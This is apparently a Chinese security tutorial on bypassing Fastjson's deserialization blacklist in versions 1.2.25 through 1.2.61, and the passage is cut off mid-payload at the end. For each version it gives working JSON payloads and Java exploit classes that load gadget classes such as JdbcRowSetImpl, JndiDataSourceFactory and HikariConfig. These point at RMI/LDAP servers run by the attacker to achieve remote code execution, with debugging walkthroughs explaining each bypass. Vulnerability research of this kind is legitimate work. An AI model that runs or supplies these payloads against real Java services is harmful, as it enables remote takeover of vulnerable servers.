Fasjson各版本绕过

Fasjson各版本绕过 #

目前所有版本的绕过,都必须在AutoTypeSupport开启的情况下才能成功。

Fastjson1.2.25版本的修复 #

checkAutoType() #

这里的修复方案就是将DefaultJSONParser.parseObject()方法中的TypeUtils.loadClass替换成了checkAutoType()方法:

1

看一下checkAutoType()方法:

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
        return null;
    }

    final String className = typeName.replace('$', '.');

    //autoTypeSupport默认是false
    //当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则黑名单过滤
    if (autoTypeSupport || expectClass != null) {
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                return TypeUtils.loadClass(typeName, defaultClassLoader);
            }
        }

        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }

    //从Map缓存中获取类,这是后面版本的漏洞点
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }

    if (clazz != null) {
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }

        return clazz;
    }

    //当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载类,否则报错
    if (!autoTypeSupport) {
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
                return clazz;
            }
        }
    }

    if (autoTypeSupport || expectClass != null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }

    if (clazz != null) {

        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                ) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
        }
    }

    if (!autoTypeSupport) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    return clazz;
}

简单来说,checkAutoType()函数就是使用黑白名单的方式来对反序列化的类型进行过滤,acceptList为白名单(默认为空,可以手动添加),denyList为黑名单(默认不为空)。

默认情况下,autoTypeSupportfalse,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中的某个deny开头,就会抛出异常中断运行。

denyList黑名单中列出了常见的反序列化漏洞利用链 Gadgets:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

这里可以看到黑名单中包含了com.sun.,这就把我们前面的几个利用链都给过滤了,成功防御了。

autoTypeSupport #

autoTypeSupportcheckAutoType()函数出现后ParserConfig类中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下 autoTypeSupport 为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过 fastjson.properties 文件配置。在1.2.25/1.2.26版本支持通过类路径的 fastjson.properties 文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

小结补丁 #

在1.2.24之后的版本中,使用了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。

寻找可用利用链 #

通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用。

从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist。

目前已知的哈希黑名单的对应表如下:

versionhashhex-hashname
1.2.42-87200464268501004970x86fc2bf9beaf7aefLorg.apache.commons.collections4.comparators
1.2.42-81093007016397210880x8f75f9fa0df03f80Lorg.python.core
1.2.42-79661231005031995690x9172a53f157930afLorg.apache.tomcat
1.2.42-77666058188347480970x9437792831df7d3fLorg.apache.xalan
1.2.42-68354370861568135360xa123a62f93178b20Ljavax.xml
1.2.42-48375369718107379700xbcdd9dc12766f0ceLorg.springframework.
1.2.42-40820570402351257540xc7599ebfe3e72406Lorg.apache.commons.beanutils
1.2.42-23649879942476791150xdf2ddff310cdb375Lorg.apache.commons.collections.Transformer
1.2.42-18724170153665881170xe603d6a51fad692bLorg.codehaus.groovy.runtime
1.2.42-2546701113762471510xfc773ae20c827691Ljava.lang.Thread
1.2.42-1902810656853956800xfd5bfc610056d720Ljavax.net.
1.2.423138641002078975070x45b11bc78a3aba3Lcom.mchange
1.2.4212032327279673086060x10b2bdca849d9b3eLorg.apache.wicket.util
1.2.4215028459588739591520x14db2e6fead04af0Ljava.util.jar.
1.2.4235476277816545989880x313bb4abd8d4554cLorg.mozilla.javascript
1.2.4237307524322858268630x33c64b921f523f2fLjava.rmi
1.2.4237943166657632660330x34a81ee78429fdf1Ljava.util.prefs.
1.2.4241476967071472714080x398f942e01920cf0Lcom.sun.
1.2.4253479098776336548280x4a3797b30328202cLjava.util.logging.
1.2.4254504488283349214850x4ba3e254e758d70dLorg.apache.bcel
1.2.4257513934395027952950x4fd10ddc6d13821fLjava.net.Socket
1.2.4259441079692361555800x527db6b46ce3bcbcLorg.apache.commons.fileupload
1.2.4267427054327180117800x5d92e6ddde40ed84Lorg.jboss
1.2.4271793369283658894650x63a220e60a17c7b9Lorg.hibernate
1.2.4274426242568605493300x6749835432e0f0d2Lorg.apache.commons.collections.functors
1.2.4288382947100984353150x7aa7ee3627a19cf3Lorg.apache.myfaces.context.servlet
1.2.43-22622447606199520810xe09ae4604842582fLjava.net.URL
1.2.46-81656373983507076450x8eadd40cb2a94443Ljunit.
1.2.46-80835148884603758840x8fd1960988bce8b4Lorg.apache.ibatis.datasource
1.2.46-79212188309982864080x92122d710e364fb8Lorg.osjava.sj.
1.2.46-77686080374581852750x94305c26580f73c5Lorg.apache.log4j.
1.2.46-61795896095504933850xaa3daffdb10c4937Lorg.logicalcobwebs.
1.2.46-51946410812681042860xb7e8ed757f5d13a2Lorg.apache.logging.
1.2.46-39351858548757333620xc963695082fd728eLorg.apache.commons.dbcp
1.2.46-27534278444007762710xd9c9dbf6bbd27bb1Lcom.ibatis.sqlmap.engine.datasource
1.2.46-15891948802142351290xe9f20bad25f60807Lorg.jdom.
1.2.4610736347393082897760xee6511b66fd5ef0Lorg.slf4j.
1.2.4656882008837517983890x4ef08c90ff16c675Ljavassist.
1.2.4670174921631085942700x616323f12c2ce25eLoracle.net
1.2.4683890325370952473550x746bd4a53ec195fbLorg.jaxen.
1.2.4814598608459348176240x144277b467723158Ljava.net.InetAddress
1.2.4884096407690195891190x74b50bb9260e31ffLjava.lang.Class
1.2.4949040078171886304570x440e89208f445fb9Lcom.alibaba.fastjson.annotation
1.2.5951003360815100803430x46c808a4b5841f57Lorg.apache.cxf.jaxrs.provider.
1.2.5964568557234741969080x599b5c1213a099acLch.qos.logback.
1.2.5985372332572834526550x767a586a5107feefLnet.sf.ehcache.transaction.manager.
1.2.6036881790727221092000x332f0b5369a18310Lcom.zaxxer.hikari.
1.2.61-44013908040443773350xc2eb1e621f439309Lflex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61-16504858149830271580xe9184be55b1d962aLorg.apache.openjpa.ee.
1.2.61-12514191541766208310xeea210e8da2ec6e1Loracle.jdbc.rowset.OracleJDBCRowSet
1.2.61-98224830678824910xffdd1a80f1ed3405Lcom.mysql.cj.jdbc.admin.
1.2.61991470921420562800x1603dc147a3e358Loracle.jdbc.connector.OracleManagedConnectionFactory
1.2.6131148628681176055990x2b3a37467a344cdfLorg.apache.ibatis.parsing.
1.2.6148146584335701759130x42d11a560fc9fba9Lorg.apache.axis2.jaxws.spi.handler.
1.2.6165110355760632542700x5a5bd85c072e5efeLjodd.db.connection.
1.2.6189255224615796471740x7bddd363ad3998c6Lorg.apache.commons.configuration.JNDIConfiguration
1.2.62-91646063882146995180x80d0c70bcc2fea02Lorg.apache.ibatis.executor.
1.2.62-86499612137098967940x87f52a1b07ea33a6Lnet.sf.cglib.
1.2.62-57648047920632168190xafff4c95b99a334dLcom.mysql.cj.jdbc.MysqlDataSource
1.2.62-44387756801850741000xc2664d0958ecfe4cLaj.org.objectweb.asm.
1.2.62-33192079494866910200xd1efcdf4b3316d34Loracle.jdbc.
1.2.62-21928043970193473130xe1919804d5bf468fLorg.apache.commons.collections.comparators.
1.2.62-20955165713888526100xe2eb3ac7e56c467eLnet.sf.ehcache.hibernate.
1.2.6247503360585743090x10e067cd55c5e5Lcom.mysql.cj.log.
1.2.622185129929475363120x3085068cb7201b8Lorg.h2.jdbcx.
1.2.628236410664736099500xb6e292fa5955adeLorg.apache.commons.logging.
1.2.6215344396105674457540x154b6cb22d294cfaLorg.apache.ibatis.reflection.
1.2.6218180893084933703940x193b2697eaaed41aLorg.h2.server.
1.2.6221646967230692878540x1e0a8c3358ff3daeLorg.apache.ibatis.datasource.
1.2.6226534536299297705690x24d2f6048fef4e49Lorg.objectweb.asm.
1.2.6228364312547378911130x275d0732b877af29Lflex.messaging.util.concurrent.
1.2.6230894514601015278570x2adfefbbfe29d931Lorg.apache.ibatis.javassist.
1.2.6237183526611241366810x339a3e0b6beebee9Lorg.apache.ibatis.ognl.
1.2.6240461903615206716430x3826f4b2380c8b9bLcom.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.6262803579609592176600x5728504a6d454ffcLorg.apache.ibatis.scripting.
1.2.6267342403264340962460x5d74d3e5b9370476Lcom.mysql.cj.jdbc.MysqlXADataSource
1.2.6271233268972945070600x62db241274397c34Lorg.apache.commons.collections.functors.
1.2.6284882660053366251070x75cc60f5871d0fd3Lorg.apache.commons.configuration

目前未知的哈希黑名单:

versionhashhex-hashname
1.2.42332383442077453420x761619136cc13eL
1.2.62-63161546558393046240xa85882ce1044c450L
1.2.62-54720977254147171050xb40f341c746ec94fL
1.2.62-46083414469481265810xc00be1debaf2808bL
1.2.6232562583682480662640x2d308dbbc851b0d8L
1.2.6248419477098509129140x43320dc9d2ae0892L
1.2.6265349464682405070890x5ab0cb3071ab40d1L

1.2.25 - 1.2.41 补丁绕过 #

EXP #

Fastjson 的版本就用 1.2.41 的,可以先试一下 1.2.24 版本时用的 exp:

2

可以看到因为在黑名单里,所以被 ban 了。

别人的 payload 的意思是简单绕过,既然 sun 包里的JdbcRowSetImpl类被 ban 了,那么就尝试在com.sun.rowset.JdbcRowSetImpl前面加一个L,结尾加一个;来绕过。

然后再开启AutoTypeSupport

exp:

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class FailedEXP {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://192.168.190.1:1099/remoteExploit6\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

再用工具开一个恶意 JNDI 服务器。成功弹出计算器了。

调试分析 #

我们注意到,PoC和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤。下面我们调试分析看看为啥会绕过。首先要知道一点,Lcom.sun.rowset.JdbcRowSetImpl; 这个类其实是不存在的。

断点打在ParseConfigcheckAutoType()方法。

开始调试,一路进到我们说的黑名单。

3

然后走到一个很重要而且核心的一个方法:TypeUTtils.loadClass()

4

再往下走,有一个语句非常关键:

5

意思就是如果我们这个类的起始是L,结尾是;,就把这两个去掉,所以这里返回的就是com.sun.rowset.JdbcRowSetImpl,从而进行恶意利用。

1.2.25 - 1.2.42 补丁绕过 #

EXP #

EXP :

{
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"ldap://localhost:1389/Exploit", 
	"autoCommit":true
}

这里进行双写其实是因为先进行了去除L;,然后再进行黑名单校验。而 Fastjson 是在loadClass()的时候是可以处理 JVM 类描述符的,所以我们可以通过双写来进行绕过。

1.2.25 - 1.2.43 补丁绕过 #

EXP #

exp:

{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
	"dataSourceName":"ldap://localhost:1389/Exploit",
	"autoCommit":true
}

关键的 poc:[com.sun.rowset.JdbcRowSetImpl。但是我们不加上[{是会报错的。

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 44, json : {
	"@type":"[com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://10.145.237.174:1389/remoteExploit6",
	"autoCommit":true
}

5

上面就是 1.2.43 相对于 1.2.42 版本的补丁是增加了对LL这个字符串的检查,如果出现LL就会直接抛出异常。

看我们的报错,显示需要在 44 的位置出现[,但是出现的是,。因为 Fastjson 在解析@type字段时,发现值是一个以[开头的字符串,所以 Fastjson 会认为这是一个数组类型的类名,并试图将其解析为数组。按照 json 的语法,它期待下一个 token 是[(表示数组的开始),但是实际遇到的是,,所以会抛出异常。而加上一个{就是为了给[提供一个合法的数组元素,从而让后续不再出现语法错误。

调试分析 #

虽然以LL开头被过滤了,但是以[开头的类名能成功绕过校验以及黑名单限制。

往下调试进入TypeUtils.loadClass()方法,除了判断是否以L开头、以;结尾,还有一个判断是否以[开头的语句,如果是就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类。

6

解析完返回的类名是[com.sun.rowset.JdbcRowSetImpl,通过checkAutoType()方法检查之后,后面就是对该类进行反序列化了。

7

在反序列化中,调用了DefaultJSONParser.parseArray()方法来解析数组内容,其中有一些判断来校验后面的字段内容是否为[{等,报错的原因就是这里。

8

1.2.25 - 1.2.45 补丁绕过 #

绕过利用 exp #

前提:目标服务器存在 MyBatis 的 jar 包,版本为 3.x.x 系列且小于 3.5.0 的版本。

这里用 RMI 和 LDAP 都可以,payload:

{
	"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
	"properties":
	{
		"data_source":"ldap://localhost:1389/Exploit"
	}
}

核心的 poc 还是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这个类。

主要是黑名单绕过,这个类在 1.2.46 版本的哈希黑名单中可以看到:

versionhashhex-hashname
1.2.46-80835148884603758840x8fd1960988bce8b4Lorg.apache.ibatis.datasource

exp:

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class FailedEXP {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\n" +
                "\t\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
                "\t\"properties\":\n" +
                "\t{\n" +
                "\t\t\"data_source\":\"ldap://10.145.237.174:1389/remoteExploit6\"\n" +
                "\t}\n" +
                "}";
        JSON.parse(payload);
    }
}

调试分析 #

断点打在checkAutoType()方法,这里对前一个补丁的绕过方法[进行了过滤,只要类名以[开头就直接抛出异常:

1

但是由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这个类不在黑名单中,因此能成功绕过checkAutoType()方法的检测。

看一下org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这个利用链的原理。

由于 payload 中设置了properties属性值,且JndiDataSourceFactory.setProperties()这个方法满足 Fastjson 自动调用的setter的条件,因此可以用来进行反序列化漏洞的利用。

看一下这个setter,里面很明显有一个 JNDI 注入漏洞。

2

1.2.25 - 1.2.47 补丁绕过 #

exp #

这个 Fastjson 反序列化漏洞也是基于checkAutoType()函数进行绕过的,并且不需要开启AutoTypeSupport,这就大大提升了利用成功的概率。

绕过的大致思路就是通过java.lang.Class,将JdbcRowSetImpl类加载到Map缓存中,从而绕过AutoType的检测。因此将 payload 分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

exp:

package org.example;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
    public static void main(String[] args) {
        String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
                + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
                + "\"dataSourceName\":\"ldap://10.145.237.174:1389/remoteExploit6\",\"autoCommit\":true}}";
        JSON.parse(payload);
    }
}

调试分析 #

实际上还是在利用com.sun.rowset.JdbcRowSetImpl这条链来进行攻击,因此除了 JDK 版本几乎没有限制。

但是如果目标服务端开启了AutoTypeSupport呢?经测试发现:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

在调用DefaultJSONParser.parserObject()方法时,会对 JSON 数据进行循环遍历扫描解析。

在第一次扫描解析中,进行checkAutoType()函数,由于未开启AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于@type执行java.lang.Class类,该类在接下来的findClass()方法中直接被找到,并在后面的if判断clazz不为空后直接返回:

4

往下调试,调用到MiscCodec.deserialze(),其中判断键是否为val,如果是就提取对应的值赋值给objVal,而objVal后续会赋值给strVal

1

2

然后判断clazz是否为Class类,如果是就调用TypeUtils.loadClass()来加载strVal对应的类:

3

TypeUtils.loadClass()方法中华,成功加载com.sun.rowset.JdbcRowSetImpl类后,就会缓存在Map中:

4

在扫描第二部分的 JSON 数据的时候,由于第一部分的com.sun.rowset.JdbcRowSetImpl已经缓存到Map里去了,所以当此时调用TypeUtils.getClassFromMapping()时直接从Map中获取缓存的类,从而使下面的if语句直接返回了,没有走到下面的黑白名单检测,从而成功绕过:

5

补丁分析 #

由于1.2.47这个洞能够在不开启AutoTypeSupport实现RCE,因此危害十分巨大,看看是怎样修的。1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。

调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了。

1.2.48:

6

1.2.47:

7

这就导致目标类不能缓存到Map中了:

8

因此,即使未开启AutoTypeSupport,但com.sun.rowset.JdbcRowSetImpl类并未缓存到Map中,就不能和前面一样调用TypeUtils.getClassFromMapping()来加载了,只能进入后面的代码逻辑进行黑白名单校验被过滤掉:

8

Fastjson <= 1.2.61 通杀 #

Fastjson <= 1.2.59 #

需要开启 AutoType:

{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson <= 1.2.60 #

需要开启 AutoType:

{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastsjon <= 1.2.61 #

{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi